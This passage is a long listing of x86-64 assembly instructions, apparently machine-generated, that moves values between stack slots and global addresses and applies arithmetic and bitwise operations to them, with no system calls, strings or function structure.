movsx eax, word [rsp + 0xc44]
movsx ecx, word [rsp + 0xc50]
add eax, ecx
mov word [rsp + 0xc90], ax
mov rax, qword [rsp + 0x7010]
movzx eax, byte [rax]
mov byte [rsp + 0x6e], al
mov rax, qword [rsp + 0x6d10]
mov rcx, qword [rsp + 0x7040]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c68], eax
mov rax, qword [rsp + 0x6c18]
mov rcx, qword [rsp + 0x7020]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6c18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7198]
mov rax, qword [rax]
mov qword [rsp + 0x7250], rax
mov eax, dword [rsp + 0x3c1c]
mov ecx, dword [rsp + 0x3bc8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7180]
mov dword [rcx], eax
movzx eax, word [rsp + 0xc10]
movzx ecx, word [rsp + 0xc8c]
imul eax, ecx
mov rcx, qword [0x14017a4e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x44]
mov byte [rsp + 0x6f], al
mov rax, qword [rsp + 0x6ce8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ef8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x70e8]
mov word [rcx], ax
lea rax, [rsp + 0xc84]
mov qword [rsp + 0x7258], rax
movsx eax, byte [rsp + 0x5e]
movsx ecx, byte [rsp + 0x49]
or eax, ecx
mov rcx, qword [rsp + 0x7170]
mov byte [rcx], al
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6ed8]
mov qword [rsp + 0x7260], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7260]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3b64], eax
lea rax, [rsp + 0x6be8]
mov qword [rsp + 0x7268], rax
mov eax, dword [rsp + 0x3c2c]
mov rcx, qword [rsp + 0x7040]
mov qword [rsp + 0x7270], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7270]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3c0c], eax
mov rax, qword [rsp + 0x6d00]
mov rax, qword [rax]
mov qword [rsp + 0x7278], rax
lea rax, [rsp + 0xc20]
mov qword [0x14017a5a8], rax
mov rax, qword [rsp + 0x7190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6c28]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x6a10]
mov byte [rcx], al
movzx eax, word [rsp + 0xc58]
mov rcx, qword [rsp + 0x6f18]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc10], ax
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0x70], al
mov rax, qword [rsp + 0x71e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a18]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x70d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6e08]
mov qword [rsp + 0x7280], rax
mov rax, qword [rsp + 0x6a28]
mov ecx, dword [0x14017a4d0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7188]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6d00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ed0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f90], rax
lea rax, [rsp + 0x3bb4]
mov qword [rsp + 0x7288], rax
movsx eax, word [0x14017a4e4]
movsx ecx, word [rsp + 0xc18]
add eax, ecx
mov word [0x14017904c], ax
mov rax, qword [rsp + 0x6de0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x69b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x63], al
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x6eb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6dd8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6f28]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ba8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x46]
sub eax, ecx
mov rcx, qword [rsp + 0x7018]
mov byte [rcx], al
mov eax, dword [rsp + 0x3b14]
mov dword [rsp + 0x3c74], eax
mov eax, dword [rsp + 0x3c10]
mov ecx, dword [0x140179004]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3af0], eax
mov rax, qword [rsp + 0x6df0]
mov rax, qword [rax]
mov qword [rsp + 0x7290], rax
mov rax, qword [rsp + 0x6cb0]
mov rcx, qword [rsp + 0x6c70]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6da8], rax
lea rax, [rsp + 0xca0]
mov qword [rsp + 0x7298], rax
mov rax, qword [rsp + 0x6ec0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5d]
add eax, ecx
mov byte [0x14017901a], al
mov rax, qword [rsp + 0x7248]
movzx eax, word [rax]
mov rcx, qword [0x14017a528]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6ef8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x4b]
mov rcx, qword [rsp + 0x6e88]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x69d8]
movzx eax, word [rax]
mov word [rsp + 0xcbc], ax
mov rax, qword [rsp + 0x6c20]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3abc]
sar eax, cl
mov rcx, qword [rsp + 0x6f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7198]
mov rax, qword [rax]
mov qword [rsp + 0x72a0], rax
mov rax, qword [rsp + 0x6d48]
mov rcx, qword [rsp + 0x6f60]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3c70], eax
mov rax, qword [rsp + 0x6f98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7178]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6e58], rax
lea rax, [rsp + 0x4e]
mov qword [rsp + 0x72a8], rax
movzx eax, word [rsp + 0xc4c]
mov rcx, qword [rsp + 0x6c90]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a4e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7148]
movsx eax, word [rax]
movsx ecx, word [0x14017a4e0]
sub eax, ecx
mov rcx, qword [rsp + 0x71e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x4f]
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0x6ef8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7208]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc4c], ax
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [rsp + 0x6db8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6f40], rax
mov rax, qword [rsp + 0x6fc0]
mov eax, dword [rax]
mov dword [rsp + 0x3c78], eax
mov rax, qword [rsp + 0x7098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c54]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x70a8]
mov dword [rcx], eax
lea rax, [rsp + 0x70c8]
mov qword [rsp + 0x72b0], rax
movsx eax, word [rsp + 0xcb4]
movsx ecx, word [rsp + 0xc54]
add eax, ecx
mov rcx, qword [rsp + 0x71e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63]
sub eax, ecx
mov byte [0x140179026], al
mov rax, qword [0x14017a530]
movzx eax, word [rax]
mov word [rsp + 0xcc0], ax
mov rax, qword [rsp + 0x6ee8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x71]
sub eax, ecx
mov byte [rsp + 0x48], al
mov rax, qword [rsp + 0x7018]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x53]
xor eax, ecx
mov rcx, qword [rsp + 0x6a58]
mov byte [rcx], al
mov eax, dword [section..data]
mov dword [rsp + 0x3c7c], eax
mov rax, qword [rsp + 0x6fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6d08]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7240]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6c30]
mov qword [rsp + 0x72b8], rax
mov eax, dword [0x14017a4d0]
mov rcx, qword [rsp + 0x7188]
mov qword [rsp + 0x72c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x72c0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x3af0], eax
movzx eax, word [rsp + 0xcb8]
mov rcx, qword [rsp + 0x6f70]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7248]
mov word [rcx], ax
movzx eax, byte [rsp + 0x56]
mov byte [0x14017a4e6], al
mov rax, qword [0x14017a578]
movzx eax, word [rax]
mov word [rsp + 0xcc4], ax
movsx eax, byte [rsp + 0x48]
mov rcx, qword [rsp + 0x71a0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x44], al
movzx eax, byte [rsp + 0x67]
mov byte [rsp + 0x73], al
mov rax, qword [rsp + 0x6b60]
movsx eax, byte [rax]
movsx ecx, byte [0x14017901b]
add eax, ecx
mov rcx, qword [rsp + 0x6ab0]
mov byte [rcx], al
mov eax, dword [rsp + 0x3b14]
mov ecx, dword [rsp + 0x3bb4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b64], eax
mov rax, qword [rsp + 0x71e8]
mov rax, qword [rax]
mov qword [rsp + 0x72c8], rax
mov rax, qword [rsp + 0x6d58]
mov rcx, qword [rsp + 0x7278]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7250], rax
mov rax, qword [rsp + 0x6f78]
mov eax, dword [rax]
mov dword [rsp + 0x3c80], eax
mov rax, qword [rsp + 0x6f28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6bd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140179048], ax
mov rax, qword [rsp + 0x6fd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
and eax, ecx
mov byte [rsp + 0x58], al
mov rax, qword [rsp + 0x6c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7030]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6ce0]
mov word [rcx], ax
mov rax, qword [rsp + 0x71a0]
movzx eax, byte [rax]
mov byte [rsp + 0x74], al
movzx eax, word [0x140179040]
mov rcx, qword [rsp + 0x7048]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc9c], ax
lea rax, [rsp + 0x3c38]
mov qword [rsp + 0x72d0], rax
mov rax, qword [rsp + 0x6e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3be4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b14], eax
mov rax, qword [rsp + 0x6e28]
mov rax, qword [rax]
mov qword [rsp + 0x72d8], rax
mov rax, qword [rsp + 0x6cb0]
mov rcx, qword [rsp + 0x7268]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6da8], rax
movsx eax, word [rsp + 0xc34]
movsx ecx, word [rsp + 0xc60]
or eax, ecx
mov word [0x140179050], ax
mov rax, qword [0x14017a510]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ab0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x7060]
mov byte [rcx], al
lea rax, [rsp + 0xc88]
mov qword [rsp + 0x72e0], rax
mov rax, qword [rsp + 0x6d90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6dd8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xc4c], ax
mov rax, qword [0x14017a518]
movzx eax, byte [rax]
mov byte [rsp + 0x75], al
mov rax, qword [rsp + 0x7110]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ea8]
mov qword [rsp + 0x72e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x72e8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x6cb0]
mov qword [rcx], rax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x6f90]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x72a0], rax
lea rax, [rsp + 0x3b14]
mov qword [rsp + 0x72f0], rax
mov rax, qword [rsp + 0x6e40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bfc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6cd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6d18]
movzx eax, byte [rax]
mov rcx, qword [0x14017a590]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x14017a4e3], al
movzx eax, word [rsp + 0xcac]
mov word [rsp + 0xcc8], ax
movzx eax, word [rsp + 0xc7c]
movzx ecx, word [rsp + 0xc1c]
sub eax, ecx
mov rcx, qword [rsp + 0x6f70]
mov word [rcx], ax
mov rax, qword [rsp + 0x6df8]
movzx eax, byte [rax]
mov rcx, qword [0x14017a548]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x68], al
lea rax, [rsp + 0x5b]
mov qword [rsp + 0x72f8], rax
mov rax, qword [rsp + 0x6c68]
mov ecx, dword [rsp + 0x3c04]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6c80]
mov dword [rcx], eax
lea rax, [rsp + 0x7178]
mov qword [rsp + 0x7300], rax
mov rax, qword [rsp + 0x7230]
mov ecx, dword [rsp + 0x3be0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3b34], eax
mov rax, qword [rsp + 0x6c00]
mov qword [rsp + 0x7308], rax
mov rax, qword [rsp + 0x6f70]
movzx eax, word [rax]
mov rcx, qword [0x14017a4e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14017a598], ax
movsx eax, word [rsp + 0xca0]
movsx ecx, word [rsp + 0xc80]
sub eax, ecx
mov word [rsp + 0xc94], ax
mov rax, qword [rsp + 0x71a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x48]
add eax, ecx
mov byte [rsp + 0x52], al
movzx eax, byte [0x140179023]
mov byte [rsp + 0x76], al
mov rax, qword [rsp + 0x6a40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x45]
sar eax, cl
mov rcx, qword [rsp + 0x6df8]
mov byte [rcx], al
mov eax, dword [rsp + 0x3c1c]
mov dword [rsp + 0x3c84], eax
mov rax, qword [rsp + 0x6d20]
mov rcx, qword [rsp + 0x7280]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x71b8], rax
mov rax, qword [rsp + 0x6b00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3c10]
shl eax, cl
mov dword [rsp + 0x3c08], eax
lea rax, [rsp + 0x7308]
mov qword [rsp + 0x7310], rax
movsx eax, word [rsp + 0xcc8]
movsx ecx, word [rsp + 0xcac]
or eax, ecx
mov word [0x140179054], ax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x73]
and eax, ecx
mov byte [rsp + 0x43], al
movzx eax, word [rsp + 0xc90]
mov word [rsp + 0xccc], ax
mov rax, qword [rsp + 0x6ba8]
movsx eax, byte [rax]
mov rcx, qword [0x14017a510]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6a58]
mov byte [rcx], al
movzx eax, word [rsp + 0xc0c]
mov rcx, qword [rsp + 0x6ec8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc9c], ax
mov rax, qword [rsp + 0x7310]
mov rax, qword [rax]
mov qword [rsp + 0x7318], rax
mov eax, dword [rsp + 0x3c58]
mov ecx, dword [rsp + 0x3c68]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c0c], eax
mov eax, dword [rsp + 0x3c44]
mov dword [rsp + 0x3c88], eax
mov rax, qword [rsp + 0x6e58]
mov rcx, qword [rsp + 0x70c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6cb0]
mov qword [rcx], rax
lea rax, [rsp + 0xc9c]
mov qword [0x14017a5b0], rax
mov rax, qword [rsp + 0x6bf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x70]
add eax, ecx
mov rcx, qword [rsp + 0x6d68]
mov byte [rcx], al
movzx eax, byte [rsp + 0x67]
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [0x14017a520]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc84], ax
movzx eax, word [rsp + 0xc1c]
mov word [rsp + 0xcd0], ax
mov eax, dword [rsp + 0x3c28]
mov ecx, dword [rsp + 0x3b34]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c80], eax
mov rax, qword [rsp + 0x6eb0]
mov eax, dword [rax]
mov dword [rsp + 0x3c8c], eax
mov rax, qword [rsp + 0x6f98]
mov rcx, qword [rsp + 0x7020]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x71c8], rax
mov rax, qword [rsp + 0x7278]
mov rcx, qword [rsp + 0x6db8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a48], rax
mov rax, qword [rsp + 0x6ce0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc88]
xor eax, ecx
mov rcx, qword [0x14017a570]
mov word [rcx], ax
lea rax, [rsp + 0x5f]
mov qword [rsp + 0x7320], rax
movzx eax, word [rsp + 0xc38]
movzx ecx, word [rsp + 0xc40]
sar eax, cl
mov word [rsp + 0xc24], ax
movzx eax, byte [rsp + 0x58]
mov byte [rsp + 0x78], al
mov rax, qword [rsp + 0x6a78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6e70]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6f], al
mov eax, dword [rsp + 0x3c84]
mov ecx, dword [rsp + 0x3c64]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3be4], eax
lea rax, [0x140179010]
mov qword [rsp + 0x7328], rax
mov rax, qword [rsp + 0x72b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x71c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d98], rax
lea rax, [rsp + 0x3c28]
mov qword [rsp + 0x7330], rax
movzx eax, word [rsp + 0xc24]
mov rcx, qword [rsp + 0x6e30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc30], ax
lea rax, [rsp + 0x73]
mov qword [0x14017a5b8], rax
movzx eax, byte [rsp + 0x4c]
movzx ecx, byte [rsp + 0x4f]
sub eax, ecx
mov byte [rsp + 0x4e], al
movzx eax, word [0x14017a580]
mov word [rsp + 0xcd4], ax
mov rax, qword [rsp + 0x6a78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x73]
sub eax, ecx
mov byte [rsp + 0x77], al
mov eax, dword [rsp + 0x3c18]
mov dword [rsp + 0x3c90], eax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c64], eax
mov rax, qword [rsp + 0x6b58]
mov rcx, qword [rsp + 0x6a68]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x72d8], rax
mov rax, qword [rsp + 0x71b8]
mov qword [rsp + 0x7338], rax
mov rax, qword [rsp + 0x6dc8]
movsx eax, word [rax]
mov rcx, qword [0x14017a520]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc18], ax
mov rax, qword [rsp + 0x7048]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ef8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140179018], ax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x7340], rax
movsx eax, word [rsp + 0xc54]
movsx ecx, word [0x140179034]
and eax, ecx
mov rcx, qword [rsp + 0x7298]
mov word [rcx], ax
lea rax, [rsp + 0xc30]
mov qword [rsp + 0x7348], rax
mov rax, qword [rsp + 0x71d8]
mov rcx, qword [rsp + 0x7090]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6a68], rax
mov rax, qword [rsp + 0x7020]
mov rcx, qword [rsp + 0x7128]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x7168]
mov qword [rcx], rax
lea rax, [rsp + 0x3c84]
mov qword [rsp + 0x7350], rax
mov eax, dword [rsp + 0x3c68]
mov rcx, qword [rsp + 0x72d0]
mov qword [rsp + 0x7358], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7358]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x7230]
mov dword [rcx], eax
movzx eax, byte [0x14017900c]
mov byte [rsp + 0x79], al
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x71e0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14017a570]
mov word [rcx], ax
movzx eax, word [rsp + 0xc74]
mov rcx, qword [rsp + 0x69e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcb8], ax
movsx eax, byte [0x14017900e]
mov rcx, qword [rsp + 0x6ab0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6fa8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x45]
mov byte [rsp + 0x7a], al
mov rax, qword [rsp + 0x6c58]
mov ecx, dword [rsp + 0x3bf0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x72f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3c48]
mov dword [rsp + 0x3c94], eax
mov rax, qword [rsp + 0x6e20]
mov rcx, qword [rsp + 0x6d20]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7140]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ad8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7138]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
mov rax, qword [rsp + 0x6be0]
movzx eax, word [rax]
mov word [rsp + 0xcd8], ax
mov rax, qword [rsp + 0x6c90]
movzx eax, word [rax]
mov word [0x14017a5c0], ax
mov rax, qword [rsp + 0x71a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ba8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x60], al
movzx eax, byte [rsp + 0x40]
mov byte [rsp + 0x7b], al
movzx eax, byte [rsp + 0x58]
mov rcx, qword [rsp + 0x71b0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6fd0]
mov byte [rcx], al
lea rax, [rsp + 0xc48]
mov qword [rsp + 0x7360], rax
mov rax, qword [rsp + 0x72f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bb4], eax
mov rax, qword [rsp + 0x7218]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7008]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x71e8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c24]
mov dword [rsp + 0x3c98], eax
mov rax, qword [rsp + 0x6fd8]
mov rcx, qword [rsp + 0x6cf0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6d80], rax
mov rax, qword [rsp + 0x7130]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6fa8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140179027], al
movzx eax, word [rsp + 0xc9c]
mov word [rsp + 0xcdc], ax
movzx eax, byte [rsp + 0x76]
mov rcx, qword [0x14017a590]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x4f], al
mov rax, qword [rsp + 0x6f20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x42]
xor eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x7060]
movzx eax, byte [rax]
mov byte [rsp + 0x7c], al
mov rax, qword [rsp + 0x7150]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6e80]
mov qword [rsp + 0x7368], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7368]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3c88], eax
lea rax, [rsp + 0x6e48]
mov qword [rsp + 0x7370], rax
mov eax, dword [rsp + 0x3c80]
movzx ecx, al
mov eax, dword [rsp + 0x3c6c]
shl eax, cl
mov dword [rsp + 0x3c5c], eax
mov rax, qword [rsp + 0x6c10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7090]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x69b0], rax
movsx eax, word [rsp + 0xcc4]
mov rcx, qword [rsp + 0x7148]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14017a558], ax
mov rax, qword [rsp + 0x70c0]
movzx eax, byte [rax]
mov byte [rsp + 0x7d], al
movsx eax, word [0x14017a59c]
mov rcx, qword [rsp + 0x6e18]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcd4], ax
movzx eax, byte [rsp + 0x45]
mov byte [rsp + 0x7e], al
mov rax, qword [rsp + 0x6c90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc6c]
imul eax, ecx
mov rcx, qword [rsp + 0x6c90]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ff8]
mov rcx, qword [rsp + 0x6c98]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6d08], rax
mov eax, dword [rsp + 0x3bfc]
mov dword [rsp + 0x3c9c], eax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bb4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3bf4], eax
lea rax, [rsp + 0x6da8]
mov qword [rsp + 0x7378], rax
movzx eax, byte [rsp + 0x4d]
movzx ecx, byte [rsp + 0x7e]
add eax, ecx
mov byte [0x14017a4d6], al
movzx eax, word [rsp + 0xcc0]
movzx ecx, word [0x14017a4f8]
sub eax, ecx
mov rcx, qword [rsp + 0x6f28]
mov word [rcx], ax
movzx eax, byte [rsp + 0x73]
mov byte [rsp + 0x7f], al
movsx eax, word [rsp + 0xcc8]
mov rcx, qword [rsp + 0x7070]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7360]
mov word [rcx], ax
mov rax, qword [rsp + 0x6f18]
movzx eax, word [rax]
mov rcx, qword [0x14017a500]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6f28]
mov word [rcx], ax
mov rax, qword [rsp + 0x6dc0]
mov eax, dword [rax]
mov dword [rsp + 0x3ca0], eax
mov rax, qword [rsp + 0x7180]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3c8c]
shr eax, cl
mov rcx, qword [rsp + 0x6d48]
mov dword [rcx], eax
lea rax, [rsp + 0x7290]
mov qword [rsp + 0x7380], rax
mov rax, qword [rsp + 0x6ea8]
mov rcx, qword [rsp + 0x6f68]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x7008], rax
lea rax, [rsp + 0x5c]
mov qword [0x14017a5c8], rax
mov rax, qword [rsp + 0x6a10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6f38]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x78], al
lea rax, [rsp + 0xc80]
mov qword [rsp + 0x7388], rax
movzx eax, word [rsp + 0xc6c]
movzx ecx, word [rsp + 0xc7c]
shl eax, cl
mov rcx, qword [rsp + 0x70b8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x44]
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x7020]
mov rcx, qword [rsp + 0x7268]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7008], rax
mov rax, qword [rsp + 0x6b00]
mov rcx, qword [rsp + 0x6e40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6ad0]
mov dword [rcx], eax
lea rax, [rsp + 0x7138]
mov qword [rsp + 0x7390], rax
mov rax, qword [rsp + 0x6e98]
mov ecx, dword [rsp + 0x3c70]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6e98]
mov dword [rcx], eax
lea rax, [rsp + 0xc6c]
mov qword [0x14017a5d0], rax
lea rax, [rsp + 0xc50]
mov qword [rsp + 0x7398], rax
mov rax, qword [rsp + 0x6ee8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5b]
sub eax, ecx
mov byte [rsp + 0x5a], al
lea rax, [rsp + 0xc58]
mov qword [rsp + 0x73a0], rax
movzx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x6b98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x66], al
mov eax, dword [rsp + 0x3b14]
mov ecx, dword [rsp + 0x3bec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b94], eax
lea rax, [rsp + 0x3c24]
mov qword [rsp + 0x73a8], rax
mov rax, qword [rsp + 0x6fd8]
mov rcx, qword [rsp + 0x7390]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6ad8]
mov qword [rcx], rax
lea rax, [rsp + 0x6be8]
mov qword [rsp + 0x73b0], rax
movsx eax, word [rsp + 0xcb4]
mov rcx, qword [rsp + 0x7258]
movsx ecx, word [rcx]
